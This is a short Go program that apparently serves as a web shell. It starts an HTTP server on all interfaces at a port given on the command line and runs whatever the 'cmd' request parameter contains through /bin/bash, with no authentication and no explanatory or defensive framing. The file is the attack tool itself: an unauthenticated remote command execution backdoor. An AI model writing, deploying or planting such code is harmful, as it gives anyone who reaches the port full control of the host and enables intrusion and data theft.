package main
 
import (
    "fmt"
	"net/http"
	"os/exec"
	"os"
)
 
func IndexHandler(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintln(w, "hello world")
	fmt.Fprintln(w,r.FormValue("cmd") )

	cmd := r.FormValue("cmd")

    ExcuteCmd(cmd)
	
}

func ExcuteCmd(hoockcmd string){
	
	cmd := exec.Command("/bin/bash", "-c", hoockcmd)
    bytes,err := cmd.Output()
    if err != nil {
     fmt.Println(err)
    }
    resp := string(bytes)
    fmt.Println(resp)
}
 
func main() {

	fmt.Println("your bind port is :" + os.Args[1]) 
	
	port := os.Args[1]

	//fmt.Println("please input the bind port:")

	//fmt.Scanln(&port)
	
	bindport := "0.0.0.0:"+ port

    http.HandleFunc("/", IndexHandler)
    http.ListenAndServe(bindport, nil)
}